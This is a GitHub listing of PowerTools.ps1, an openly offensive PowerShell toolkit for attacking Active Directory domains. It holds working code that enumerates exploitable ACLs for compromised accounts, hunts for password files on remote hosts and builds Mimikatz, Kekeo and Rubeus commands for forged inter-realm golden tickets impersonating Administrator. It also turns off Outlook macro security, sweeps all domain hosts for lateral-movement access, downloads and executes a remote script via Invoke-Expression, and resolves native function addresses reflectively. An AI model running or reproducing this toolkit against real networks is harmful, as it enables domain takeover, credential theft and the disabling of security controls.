-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathPowerTools.ps1
634 lines (513 loc) · 25.6 KB
/
PowerTools.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
function ConvertFrom-ObjectSid{
<#
.SYNOPSIS
Converts Active Directory Security Identifier (SID) to object name or searches for objects in Active Directory based on SID.
.DESCRIPTION
ConvertFrom-ObjectSid, translates an Active Directory Security Identifier (SID) to the corresponding object name. The SID represents a security context for a user, group, or computer in an Active Directory environment.
In search mode, the function searches for objects in Active Directory that have the specified SID.
Credits to Windows OS Hub: https://woshub.com/convert-sid-to-username-and-vice-versa/
.PARAMETER SID
Specifies the Security Identifier (SID) to be translated. Currently only supports This parameter is mandatory.
.PARAMETER Domain
Specifies the domain that owns the specified SID. Default is the user's domain ($env:USERDOMAIN).
.PARAMETER Search
Switch parameter to enable search mode. If specified, the function searches for objects in Active Directory with the specified SID and Domain. Outputs the object's name + distinguished name to avoid confusion.
.EXAMPLE
ConvertFrom-ObjectSid -SID "S-1-5-21-3623811015-3361044348-30300844-1013"
This example converts the specified SID to its corresponding object name.
.EXAMPLE
ConvertFrom-ObjectSid -SID "S-1-5-21-3623811015-3361044348-30300820-1013" -Domain "OtherDomain" -Search
This example searches for objects in Active Directory with the specified SID in the "OtherDomain" domain.
.NOTES
File: ConvertFrom-ObjectSid.ps1
Author: Rafael Pimentel @gustanini
Version: 1.0
Date: Nov 26 2023
Note: This function's search mode has a dependency on the Active Directory module. Ensure that the module is installed and available before using this function.
#>
[CmdletBinding()]
param (
[parameter(Mandatory = $true)]
[Alias("SID")]
[string]$SecurityIdentifier,
[switch]$Search,
[string]$Domain = $env:USERDOMAIN
)
# search mode uses ad-module to find an object with the specified SID
if ($Search) {
Get-ADObject -Filter {objectSID -eq "$SecurityIdentifier"} -Server $Domain |
Select-Object Name, DistinguishedName |
Format-List
}
# normal mode uses System.Security.Principal.SecurityIdentifier to translate the specified SID
else {
# Translate SID
$objSID = New-Object System.Security.Principal.SecurityIdentifier ($SecurityIdentifier)
$Object = $objSID.Translate($SecurityIdentifier)
$Object.Value
}
}
function Find-ADInterestingACL {
<#
.SYNOPSIS
Finds and lists all Active Directory Objects' Access Control Lists (in the current domain) filtering by interesting rights and provided identities.
Author: Rafael Pimentel (@gustanini)
Required Dependency: Active Directory Module
.DESCRIPTION
The Find-ADInterestingACL function searches Active Directory objects and filters their Access Control Lists (ACLs) based on specified rights and identity parameters. It enumerates all AD objects, retrieves their ACLs, and then filters these ACLs to find specific permissions related to the provided identities.
.PARAMETER Rights
Specifies the types of rights to filter for in the ACLs. The default values are 'write|all|force|self|extended' to ensure that only exploitable rights are displayed. This parameter accepts a string that represents a regular expression pattern to match against the Active Directory rights.
.PARAMETER Identity
Specifies the identity to filter for in the ACLs. Think of it as the already compromised user you want to check. This is a mandatory parameter. The function will match this parameter value against the IdentityReference property of ACL entries.
.PARAMETER Domain
Specifies the domain to be used for the retrieval of Active Directory objects and their Access Control Lists (ACLs). If this parameter is not provided, the function operates in the current domain context.
.EXAMPLE
PS C:\> Find-ADInterestingACL -Identity 'CompromisedUser|CompromisedGroup'
This example finds and lists all AD objects where the ACLs includes exploitable rights for 'CompromisedUser' and 'CompromisedGroup'.
.EXAMPLE
PS C:\> Find-ADInterestingACL -Rights 'write|modify' -Identity 'JohnDoe'
This example finds and lists all AD objects where the ACLs include 'write' or 'modify' rights for the user 'JohnDoe'.
.INPUTS
None. You cannot pipe objects to Find-ADInterestingACL.
.OUTPUTS
The function outputs a formatted list of AD objects with specific ACL entries matching the given criteria. Each entry includes the target distinguished name, rights, access control type, and identity reference.
.NOTES
This function requires the Active Directory module for PowerShell. Ensure that the Microsoft Active Directory Module is installed and available in your PowerShell session. This module is typically available on systems that have the Active Directory Domain Services (AD DS) role installed, or by installing the Remote Server Administration Tools (RSAT) package.
.LINK
https://docs.microsoft.com/en-us/powershell/module/addsadministration/get-adobject
#>
# params
[CmdletBinding()]
param (
[string]$Rights = 'write|all|force|self|extended',
[Parameter(Mandatory = $true)]
[string]$Identity,
[string]$Domain
)
# Create PSDrive for the specified domain
if ($Domain) {
New-PSDrive -Name AD2 -PSProvider ActiveDirectory -Server $Domain -Root "//RootDSE/"
$ADPathPrefix = "AD2:\"
} else {
# if no domain specified, use the domain of the current session
$Domain = (Get-AdDomain).DnsRoot
$ADPathPrefix = "AD:\"
}
# Save all AD objects as DN for get-acl
(Get-ADObject -Filter * -Server $Domain).DistinguishedName | ForEach-Object {
$acl = (Get-Acl -Path ("$ADPathPrefix$_") -Filter *)
# filter using rights and identity
$acl.Access | Where-Object {
$_.ActiveDirectoryRights -match $Rights -and
$_.IdentityReference -match $Identity
} | Select-Object @{
Name = 'TargetDN'
Expression = {$acl.PSPath -replace '.*DSE\/', ''}
}, ActiveDirectoryRights, AccessControlType, IdentityReference
} | Format-List
# Remove PSDrive if it was created
if ($ADPathPrefix -eq "AD2:\") {
Remove-PSDrive -Name AD2
}
}
function Find-File {
<#
.SYNOPSIS
Searches for files containing a specified string in a specified path on a local or remote computer.
.DESCRIPTION
The Find-File function performs a search for files that contain a specified string within their names. It supports searching on the local machine or a remote computer using either HTTP access or CIFS access. If searching on a remote computer, ensure that the appropriate access is available.
.PARAMETER searchString
Specifies the string to search for within file names. The default value is "password".
.PARAMETER Path
Specifies the path to start the search. The default is "C:\Users\".
.PARAMETER computerName
Specifies the name of the remote computer to search. If provided, the function performs a remote query using either HTTP access or CIFS access.
.PARAMETER Cifs
Switch parameter that indicates whether to use CIFS access for the remote query. If specified, the function uses CIFS access and expects the $Path parameter to be specified using the drivename$ syntax.
.EXAMPLE
Find-File -searchString "pass" -Path "c$\Users" -computerName "RemoteComputer" -Cifs
This example searches for files with names that match the string "pass" in the "C:\Users" directory on the remote computer "RemoteComputer" leveraging CIFS access.
.EXAMPLE
Find-File -searchString "confidential" -Path "C:\Documents"
This example searches for files containing the string "confidential" in the "C:\Documents" directory on the local machine.
.NOTES
File: Find-File.ps1
Author: Rafael Pimentel @gustanini
Version: 1.0
Date: Nov 23 2023
#>
[CmdletBinding()]
param(
[string]$searchString = "password",
[string]$Path = "C:\Users\",
[string]$computerName,
[switch]$Cifs
)
# Message
Write-Host "Finding files containing string $searchString in $computerName $Path" -ForegroundColor Cyan
# perform remote query if computer is specified (need HTTP access)
if ($computername) {
Invoke-Command -ComputerName $computerName -ScriptBlock {
Get-ChildItem -Path $Path -File -Recurse |
Where-Object {$_.Name -match "$searchString"} -ErrorAction SilentlyContinue |
Select-Object Directory, Name
}
}
# perform remote query leveraging cifs access only (specify path using drivename$ syntax)
elseif ($Cifs){
Get-ChildItem -Path "\\$computerName\$Path" -File -Recurse |
Where-Object {$_.Name -match "$searchString"} -ErrorAction SilentlyContinue |
Select-Object Directory, Name
}
# perform localhost query
else {
Get-ChildItem -Path $Path -File -Recurse |
Where-Object {$_.Name -match "$searchString"} -ErrorAction SilentlyContinue |
Select-Object Directory, Name
}
}
function Get-NestedGroupMembership {
<#
.SYNOPSIS
Recursively retrieves nested group memberships for a specified user account.
.DESCRIPTION
This function, Get-NestedGroupMembership, uses the Active Directory module to recursively retrieve nested group memberships for a specified user account. It starts by querying the direct group memberships and then recursively retrieves nested memberships.
.PARAMETER SamAccountName
Specifies the SamAccountName of the user for whom nested group memberships are to be retrieved.
.EXAMPLE
Get-NestedGroupMembership -SamAccountName "JohnDoe"
This example retrieves nested group memberships for the user with the SamAccountName "JohnDoe".
.NOTES
File: Get-NestedGroupMembership.ps1
Author: Rafael Pimentel @gustanini
Version: 1.0
Date: Nov 27 2023
#>
[CmdletBinding()]
param (
[parameter(Mandatory = $true)]
[string]$SamAccountName
)
# Retrieve direct group memberships
$groups = @(
Get-ADPrincipalGroupMembership -Identity $SamAccountName |
Select-Object -ExpandProperty DistinguishedName
)
# Output direct group memberships
$groups
# Recursively retrieve nested group memberships
if ($groups.Count -gt 0) {
foreach ($group in $groups) {
Get-NestedGroupMembership -SamAccountName $group
}
}
}
function Get-TrustTicket{
<#
.SYNOPSIS
Generate command needed for the crafting of inter-realm TGTs (trust attacks) and TGS for Mimikatz, Kekeo and Rubeus.
Author: Rafael Pimentel (@gustanini)
Required Dependency: Active Directory Module
.DESCRIPTION
This script generates the command required for crafting inter-realm/referral TGTs and subsequent TGS for Mimikatz, Kekeo and Rubeus.
.PARAMETER targetDomain
The target domain for which the golden ticket will be crafted. This is a mandatory parameter.
.PARAMETER trustKey
The trust key (RC4) to be used for forging the golden ticket. This is a mandatory parameter.
.PARAMETER Service
The Kerberos service principal name (SPN) for which the ticket is requested. Default is "krbtgt".
.PARAMETER Domain
The current domain. Default is the current domain obtained using Get-ADDomain.
.PARAMETER User
The user account to be impersonated. Default is "Administrator".
.PARAMETER Outfile
The path to save the generated golden ticket file. Default is "C:\Temp\$Domain-$TargetDomain.kirbi".
.PARAMETER targetGroup
The target group whose SID will be included in the golden ticket. Default is "Enterprise Admins".
.PARAMETER targetService
The target service that will be included in the TGS SPN. Default is "CIFS".
.PARAMETER targetComputer
The target computer that will be included in the TGS SPN. If not specified, the foreign domain controller will be the target computer.
.EXAMPLE
Get-TrustTicket -targetDomain "gustanini.local" -trustKey "C286A0D9DF4137DE792B74317F54D1A1"
Calculates the flags for crafting a golden ticket for the specified target domain and trust key.
.NOTES
This function requires the Active Directory module for PowerShell. Ensure that the Microsoft Active Directory Module is installed and available in your PowerShell session. This module is typically available on systems that have the Active Directory Domain Services (AD DS) role installed, or by installing the Remote Server Administration Tools (RSAT) package.
.LINK
https://docs.microsoft.com/en-us/powershell/module/addsadministration/get-adobject
#>
# params
[CmdletBinding()]
param (
[Parameter(Mandatory = $true)]
[string]$targetDomain,
[Parameter(Mandatory = $true)]
[string]$trustKey,
[string]$Service = "krbtgt",
[string]$Domain = (Get-ADDomain).DnsRoot,
[string]$User = "Administrator",
[string]$Outfile = "C:\Temp\$Domain-$TargetDomain.kirbi",
[string]$targetGroup = "Enterprise Admins",
[string]$tgsService = "CIFS",
[string]$targetComputer
)
# get domain SID
$SID = (Get-ADDomain -Identity $Domain).DomainSID.Value
# get target group SID
$TargetGroupSID = (Get-ADGroup -Server $TargetDomain -Filter {Name -eq $TargetGroup}).SID.Value
# get target domain controller
$targetDC = (Get-ADDomainController -Server $targetDomain).HostName
# get target computer for TGS
if (-not $targetComputer){
$targetComputer = $targetDC
}
# generate commands
$mimiTGT = "kerberos::golden /service:$Service /user:$User /domain:$Domain /sid:$SID /rc4:$trustKey /target:$targetDomain /sids:$TargetGroupSID /ticket:$Outfile"
$kekeoTGS = "tgs::ask /tgt:$Outfile /service:$tgsService/$targetComputer"
$rubeusTGT = "Rubeus.exe silver /sids:$TargetGroupSID /target:$targetDomain /rc4:$trustKey /sid:$SID /domain:$Domain /user:$User /service:$Service/$targetDomain /ldap /nowrap"
$rubeusTGS = "Rubeus.exe asktgs /ticket:B64_TGT /service:$tgsService/$targetComputer /dc:$targetDC /nowrap /ptt"
Write-Host `n"Printing: Mimikatz TGT command" -ForegroundColor Yellow
Write-Host `n$mimiTGT
Write-Host `n"Printing: Kekeo TGS command" -ForegroundColor Green
Write-Host `n$kekeoTGS
Write-Host `n"Printing: Rubeus TGT command" -ForegroundColor Yellow
Write-Host `n$rubeusTGT
Write-Host `n"Printing: Rubeus TGS command" -ForegroundColor Green
Write-Host `n$rubeusTGS
}
function Set-MacroSecurityOff {
<#
.SYNOPSIS
Disables macro security by editing the registry, if it is enabled.
.DESCRIPTION
The Set-MacroSecurityOff function disables macro security by modifying the registry. It checks if the specified registry key exists and, if present, sets the "level" value to 4, representing "No security check." If the key does not exist, the user is prompted to find the correct key path using Set-MacroSecurityKeyOff -Key <Key_Path>. The current value is printed to the screen before changing to facilitate cleanup.
.PARAMETER SecurityKey
Specifies the registry key path where the macro security setting is configured. The default is 'HKCU:\Software\Policies\Microsoft\Office\16.0\outlook\security'.
.EXAMPLE
Set-MacroSecurityOff -SecurityKey 'HKCU:\Software\Policies\Microsoft\Office\16.0\outlook\security'
This example disables macro security for Microsoft Office Outlook by setting the "level" value to 4 in the specified registry key path.
.NOTES
File: Set-MacroSecurityOff.ps1
Author: Rafael Pimentel
Version: 1.0
Date: 27 Nov 2023
#>
[cmdletbinding()]
param(
[Parameter(Mandatory = $false, ParameterSetName = "Key")]
[string]$SecurityKey = 'HKCU:\Software\Policies\Microsoft\Office\16.0\outlook\security'
)
# first print current security level (for cleanup later)
Write-Host "The current macro security level is:" (Get-ItemProperty $SecurityKey).level
# test if key exists
if (Test-Path $SecurityKey) {
# check key value
if ((Get-ItemProperty $SecurityKey).level -ne 4) {
Set-ItemProperty -Path $SecurityKey -Name level -Value 4
Write-Host -ForegroundColor Green 'Value set to "No security Check" (4)'
}
# security is already off
else {
Write-Host -ForegroundColor Green 'Macro security is already set to "No security check" (4).'
}
}
# key does not exist
else {
Write-Host -ForegroundColor Red "Key does not exist at this location: $SecurityKey, find key path and select it using Set-MacroSecurityKeyOff -Key <Key_Path>."
}
}
function Test-Smb{
<#
.SYNOPSIS
Checks access using SMB/CIFS to the specified or default computer.
.DESCRIPTION
The Test-Smb function checks for access to the C$ share on the specified or default computer using the SMB/CIFS protocol. It prints information about the access status to the console.
.PARAMETER Domain
Specifies the domain for which the SMB access should be checked.
Aliases: Server
Default Value: The current Active Directory domain obtained using Get-ADDomain.
.NOTES
Author : Karim Elsobky (https://www.linkedin.com/in/karimelsobky/)
Author : Rafael Pimentel (https://www.linkedin.com/in/rafa-pimentel/) (https://linktr.ee/hackerhermanos)
Prerequisite : AD-Module
.EXAMPLE
Test-Smb
Checks SMB access to the C$ share on all computers in the current Active Directory domain.
#>
[CmdletBinding()]
Param (
[Alias("Server")]
[string]$Domain = (Get-ADDomain).DNSRoot
)
# define computers
$ComputerName = (Get-ADComputer -Filter * -Server $Domain)
# print info
[Console]::WriteLine("[+] Checking Access on all computers in $Domain using SMB/CIFS")
# check CIFS access
($ComputerName).dnshostname |
ForEach-Object {
if (Get-ChildItem "\\$_\c$" -ErrorAction SilentlyContinue){
Write-Host "[*] Found Access to: $_\c$"
}
}
}
function Test-PSRemoting{
<#
.SYNOPSIS
Checks access using PowerShell Remoting (PSRemoting) over HTTP to the specified or default computer.
.DESCRIPTION
The Test-PSRemoting function checks for access to the specified or default computer using PowerShell Remoting (PSRemoting) over HTTP. It prints information about the access status to the console.
.PARAMETER Domain
Specifies the domain for which the PSRemoting over HTTP access should be checked.
Aliases: Server
Default Value: The current Active Directory domain obtained using Get-ADDomain.
.NOTES
Author : Karim Elsobky (https://www.linkedin.com/in/karimelsobky/)
Author : Rafael Pimentel (https://www.linkedin.com/in/rafa-pimentel/) (https://linktr.ee/hackerhermanos)
Prerequisite : AD-Module
.EXAMPLE
Test-PSRemoting
Checks PSRemoting over HTTP access to all computers in the current Active Directory domain.
#>
[CmdletBinding()]
Param (
[Alias("Server")]
[string]$Domain = (Get-ADDomain).DNSRoot
)
# define computers
$ComputerName = (Get-ADComputer -Filter * -Server $Domain)
# print info
[Console]::WriteLine("[+] Checking Access on all computers in $Domain using PSRemoting/HTTP")
# check http access
($ComputerName).dnshostname |
ForEach-Object {
if (Invoke-Command -ComputerName "$_" -ScriptBlock {hostname} -ErrorAction SilentlyContinue){
Write-Host "[*] Found Access to: $_"
}
}
}
function Invoke-AccessCheck{
<#
.SYNOPSIS
Checks access on all computers in the current domain using SMB/CIFS or PSRemoting over HTTP.
.DESCRIPTION
The Invoke-AccessCheck function checks for access on all computers in the current domain using
either SMB/CIFS or PSRemoting over HTTP. It provides options to check access separately for
SMB/CIFS or PSRemoting, and it pulls the Active Directory module from GitHub if not already imported.
.PARAMETER SMB
Switch parameter to indicate whether to check access using SMB/CIFS. If specified, the function
checks access on all computers in the current domain using SMB/CIFS.
.PARAMETER PSRemoting
Switch parameter to indicate whether to check access using PSRemoting over HTTP. If specified,
the function checks access on all computers in the current domain using PSRemoting over HTTP.
.PARAMETER Domain
Specifies the domain for which the PSRemoting over HTTP access should be checked.
Aliases: Server
Default Value: The current Active Directory domain obtained using Get-ADDomain.
.NOTES
Author : Karim Elsobky (https://www.linkedin.com/in/karimelsobky/)
Author : Rafael Pimentel (https://www.linkedin.com/in/rafa-pimentel/) (https://linktr.ee/hackerhermanos)
Prerequisite : AD-Module (if not installed, this function will try to fetch it from Github Automatically)
.EXAMPLE
Invoke-AccessCheck -SMB
Checks access using SMB/CIFS on all computers in the current domain.
.EXAMPLE
Invoke-AccessCheck -PSRemoting
Checks access using PSRemoting over PSRemoting/HTTP on all computers in the current domain.
.EXAMPLE
Invoke-AccessCheck -PSRemoting -SMB
Checks access using PSRemoting over PSRemoting/HTTP and SMB/CIFS on all computers in the current domain.
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $false)]
[switch]$SMB,
[Parameter(Position = 1, Mandatory = $false)]
[switch]$PSRemoting,
[Alias("Server")]
[string]$Domain
)
# Message
[Console]::WriteLine("[+] Checking for Access Around The Network")
# check for access on all computers in current domain
try {
# check for AD Module in current session (use workaround for checking, get-module not working)
if (!(Get-Command Get-ADDomain -ErrorAction SilentlyContinue)) {
# dependency not met
[Console]::WriteLine("[+] Didn't find ActiveDirectory Module, pulling from Github and importing it, this will take a minute...")
# pull and import
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1')
Import-ActiveDirectory
}
# check domain flag
if (!($Domain)){
$Domain = (Get-ADDomain).DNSRoot
}
# check all computers in the current domain via HTTP
if ($SMB) {
Test-Smb -Domain $Domain
}
# check all computers in the current domain via HTTP
if ($PSRemoting) {
Test-PSRemoting -Domain $Domain
}
# If neither $PSRemoting nor $SMB is specified, print an error
if (!($PSRemoting -or $SMB)) {
throw "[-] Usage: Invoke-AccessCheck -SMB <or> Invoke-AccessCheck -PSRemoting"
}
}
catch {
[Console]::WriteLine("Error: $_")
return
}
}
function Get-FunctionAddress {
<#
.SYNOPSIS
Get-FunctionAddress retrieves the memory address of a specified function within Microsoft.Win32.UnsafeNativeMethods using System.dll and GetType.
.DESCRIPTION
This tool allows you to find the memory addresses of functions within the Microsoft.Win32.UnsafeNativeMethods class. It leverages System.dll and GetType to dynamically retrieve the function address.
.PARAMETER ModuleName
Specifies the name of the DLL module where the function is located. Default is 'user32.dll'.
.PARAMETER FunctionName
Specifies the name of the function whose address you want to retrieve. Default is 'MessageBoxA'.
.EXAMPLE
Get-FunctionAddress
Retrieves the address of the 'MessageBoxA' function within the 'user32.dll' module.
.EXAMPLE
Get-FunctionAddress -ModuleName kernel32.dll -FunctionName CreateFileA
Retrieves the address of the 'CreateFileA' function within the 'kernel32.dll' module.
.NOTES
File Name : Get-FunctionAddress.ps1
Prerequisite : PowerShell V2
Author : Rafael Pimentel (@gustanini) https://www.linkedin.com/in/rafa-pimentel/
Hacker Hermanos: https://linktr.ee/hackerhermanos
#>
[CmdletBinding()]
Param(
[Parameter(Position = 0)]
[string]$ModuleName = 'user32.dll',
[Parameter(Position = 1)]
[string]$FunctionName = 'MessageBoxA'
)
# get all loaded assemblies
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
# select System.dll
Where-Object {
$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll')
}).
# load reflectively win32 unsafe native methods ( contains getprocaddress and getmodulehandle )
GetType('Microsoft.Win32.UnsafeNativeMethods')
# create an empty array for getprocaddress
$tmp=@()
# populate array with all getprocaddress instances ( there are multiple instances of getprocaddress inside of unsafenativemethods on Win10 )
$assem.GetMethods() |
ForEach-Object {
If ($_.Name -eq 'GetProcAddress') {
$tmp+=$_
}
}
# get function address. "0" means the function was not found
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($ModuleName)), $FunctionName))
}